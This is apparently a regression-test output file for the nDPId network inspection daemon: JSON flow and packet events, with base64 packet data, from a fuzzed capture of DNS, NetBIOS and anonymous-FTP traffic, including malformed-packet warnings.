+00433{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469620,"pkt_ts_usec":579124,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ADBUADRWAODtAW69CABFAAAwaahAAIAGJo7AqAFHk4kVegqeAIstxX7gAAAAAHACQAAgvwAAAgQFtAEBBAI="} +00434{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469620,"pkt_ts_usec":579207,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ADBUADRWAODtAW69CABFAAAwaalAAIAGJo3AqAECk4kVXgqdAb3Y\/7fcAAAAAHACQAA7VwAAAgQFtAEBBAI="} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":41,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1120469620579,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.71","dst_ip":"147.137.21.122","src_port":2718,"dst_port":139,"l4_proto":"tcp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":41,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1120469620579,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.71","dst_ip":"147.137.21.122","src_port":2718,"dst_port":139,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1120469632829,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.114.1.2","dst_ip":"192.168.1.1","src_port":2719,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469632,"pkt_ts_usec":829277,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"ADBUADRWAODtAW69CABFAAA9aaoAAIARTbLAcgECwKgBAQqfADUAKUpe7dQBAAABgAAAUgAAA2Z0cAdlY2l0ZexlA2NvbQAAAQAB"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1120469633828,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2719,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469633,"pkt_ts_usec":828778,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"ADBUADRWEODtAW69CABFAAA9aasAAIARTbHAqAECwKgBAQqfADUAKUpe7dQBAAABAAAAAAAAA2Z0cAdlY2l0ZWxlA2NvbQAAAQAB"} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":42,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1120469633828,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2719,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"ftp.ecitele.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00578{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469634,"pkt_ts_usec":840520,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AODtAW69ADBUADRWCABFAACaAABAAEARtv\/AqAEBwKgBAgA1Cp8Ahtfh7dSBgAABAAKzAgABA2Z0cLxlY2l0ZexlA2NvbQAAAQABwAwABQABAAAC9QAGA2Ruc8AQwC0AAQABAAAAIQAEk+oB\/cAQAAIAAQAAA0MAEQJucwViYXJhawNuZXQCaWwAwBAAAgABAAADQwACwC3ATwABAGoAAAARAATUljCp"} +00685{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":43,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":2,"flow_first_seen":1120469633828,"flow_last_seen":1120469634840,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":41,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2719,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"147.234.1.253"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1120469634878,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469634,"pkt_ts_usec":878338,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ADBUAHNWAODtAW69CABFAAAwaaxAAIAGOYrAqAECk+oB\/QqgABWvnVkPAABkAHACQABuKwAAAgQFtAEBBAI="} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":45,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469634,"pkt_ts_usec":896583,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":62,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABVAAAweP9AADkGcTeT6gH9wKgBAgAVCqDlH5UEr53DEHASYzbQ8AAAAQEEAgIEBYM="} +00165{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":45,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":46,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469634,"pkt_ts_usec":896665,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":54,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAAoaa1eAIAGOZHAqAECk+oB\/QqgABWvncMQ5R+VBVAQQiQelgAA"} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":46,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":20} +00495{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469634,"pkt_ts_usec":993209,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"AODtAW4UADBUADRWCABFEABeeQBAADkGcPiT6gH9wKgBAgAVCqDlH5UFr53DEFAYYzaF6QAAMjIwIFByb0ZUUEQgU2VydmVyIEluIEVDSSBUZWxlY29tIChudHAsZWNpdGVsZS5jQ20pIA0K"} +00446{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469634,"pkt_ts_usec":993684,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"ADBUADRWAODtAW69CABFAAA4aa5AAIAGOYDAqAECk+oB\/QqgABWvncNQ5R+VO1AYQe6WoQAAnlNFUiBhbm9ueW1vdXMNCg=="} +00427{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":8108,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AODtAW69ADBUADRWCABFEAAoeQFAADkGcS2T6gH9wKgBAgAVCqDlH5U7ryVzAFAQYzb9PQAAAAAAAAAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1120469635010,"flow_last_seen":0,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":96,"flow_max_l4_data_len":96,"flow_avg_l4_data_len":96,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.169.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":10547,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"AOBzAW69ADBUADRWCABFEAB0eQJAADkGcOCT6gH9wKkBAgAVCqDlH5U7r53DIFAYYzZecwAAMzMxIEFub255bW91cyBsb2dpbiBvaywgc2VuZCB5b3VyIGNvbXBsZXRlIGVtYWlsIGFkZHJlc3Mg4XMgeW91ciBwYXNzd29yZC4NCg=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":51,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1120469635012,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2679,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":12954,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ADBUACRWAODtAW69CABFAAA0aa9AAIAGOYPAqAECk+oB\/Qp3ABWvncMg5R+Vb1AYQaK71QAAUEFTUyBkMHhhIQ0K"} +00428{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":26584,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AODtAW69ADBUADRWCABFEAAoeQNAADkGcSuT6gH9wKgBAgAVCqDlH5WHr53DLFAQYzb85QAAAAAAAAAA"} +00464{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":41592,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"AODtAW69ADBUADRWCABFEABHeQRAADkGcQuT6gH9wKgBAgAVCqDlH5WHr53DLFAYYzZdOwAAMjMwLVdlY2NvbWUgVG8gRUNJIEZUUCBTZXJ2ZXINCg=="} +00428{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":42383,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":23,"pkt":"AODtAW69ADBUADRWCABFEAAreQVAADkGcSaT6gH9wKgBAgAVCqDlH5Wmr53DLFAYYzbSrgAAoA0KAAAA"} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":55,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":42435,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":54,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CAAGAAAoabBAAIAGOY7AqAECk+oB\/QqgABWvncMs5R+VqVAQQYAeegAA"} +00165{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":55,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1120469635042,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.2.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":42587,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":23,"pkt":"AODtAW69ADBUBDRWCABFEAAreQZAADkGcSWT6gH9wAIBAgAVCqDlH5Wpr53DLFAYYzbSqwAAIA0KAAAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":57,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1120469635043,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.66","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":43451,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"AODtAW69ADBUADRWCABFEABDeQdAADkGcQyT6gH9wKgBQgAVCqDlH5Wsr53DLFAYYzYWCgAAIC9wdWIJCS0+IFB1YmxpYyBGb2xkZXIuIA0K"} +00421{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":43481,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ADBUADRWAODtAW69CABFAAAoabFAAIAGOY3AqAECk+oB\/QqgABWvncMs5R+Vx1AQQWJUegAA"} +00468{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":43740,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"AODtAW69ADBUAOBWCABFEABLeQhAADkGcQOT6gH9wKgBAgAVCqDlH5XHr53DLFAYYzZIrgAAqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00461{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":44045,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AODvAW69ADBUADRWCABFEABEeQlAADkGcQmT6gH9wKgBAgAVCqDlH5Xqr53DLFAYYzYeJwAAIAkJICAgT3RoZXJzIGNhbqqqqqqqqqqqqqqqqg=="} +00422{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":44074,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ADBUADRWAODtAW69CABFAAAoabJAAIAGOYzAqAECk+oB\/QqgABWvncMs5R+WBlAQQSMeegAA"} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":62,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":44160,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABFJXMAeQpAADkGcQOT6gH9wKgBAgB4CqDlH5YGr53DLFAYY3bTEAAAIC9pbmNvbWluZwktJXMAbmNvbWluZyBGb2xkZXIuIA0K"} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":62,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":53} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":63,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1120469635045,"flow_last_seen":0,"flow_tot_l4_data_len":79,"flow_min_l4_data_len":79,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"147.234.1.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00502{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":45415,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AODtAW69ADBUADRWCABFEABjeQtAADkGcOiT6gGqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00422{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":45444,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ADBUADRWAODtAW69CABFAAAoabNAAIAGOYvAqAECk+oB\/QqgABWvncMs5R+WYlAQQMceegAA"} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":65,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":45775,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AODtAW69ADBUJXMACABFEBBJeQxAADkGcQGT6gH5wKgBAggVCqDlH5Zir53DLFAYYzaAtgAAIC9vdXRnb2luZwktPiBvdXRnb2luZyBGb2xkZXIuIA0K"} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":65,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":53} +00503{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":46566,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AODtAW69ADBUADRWCABFEABjeQ1AADkGcOaT6gH9wKgBAgAVCqDlH5aDr53DKFAYYza68wAAIAkJICAgQW55b25lIGNhbiBhY2Nlc3MsIHdyaXRlICYgcmV0cmlldmUgYSBzcGVjaWZpYyBmaWxlDQo="} +00422{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":46596,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ADBUADRWAODtAW69CABFAAAoabRAAIAGOYrAqAECk+oB\/QqgABWvncMs5R+WvlAQQGseegAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":68,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1120469635046,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.2","src_port":21,"dst_port":2208,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":46983,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":23,"pkt":"AKrtAW69ADBUADRWCABFEAAreQ5AADkGcR2T6gH9wKgBAgAVCKDlH5a+r53DLFgYYzbRlgAAIFUKAAAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":69,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1120469635048,"flow_last_seen":0,"flow_tot_l4_data_len":79,"flow_min_l4_data_len":79,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":79,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.2","src_port":21,"dst_port":2732,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00502{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":48287,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AODtAW69ADBUADRWCABFEABjeQ9AADkGcOST6gH9wKgBAgAVCqzlH5bBr53DLFAYYzY9pwAAIEZpbGVzIGxhcmdlciB0aGVuIDI1ME1CIHdpbGwgYmUgZGVsZXRlZCBhZnRlciA1IGRheXMgISEhDQo="} +00423{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":48317,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ADBUADRWAODtBW69CABFAAAoabVAAIAGOYnAqAECk+oB\/QqgABWvncMs5R+W\/FAQQC0eegAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1120469635049,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.2","src_port":1045,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":49544,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":23,"pkt":"AODtAW69ADBUADRWCABFEAAreRJAADkGcRmT6gH9wKgBAgQVCqDlH5cvr53DLFAYYzbRJQAAIA0KAAAA"} 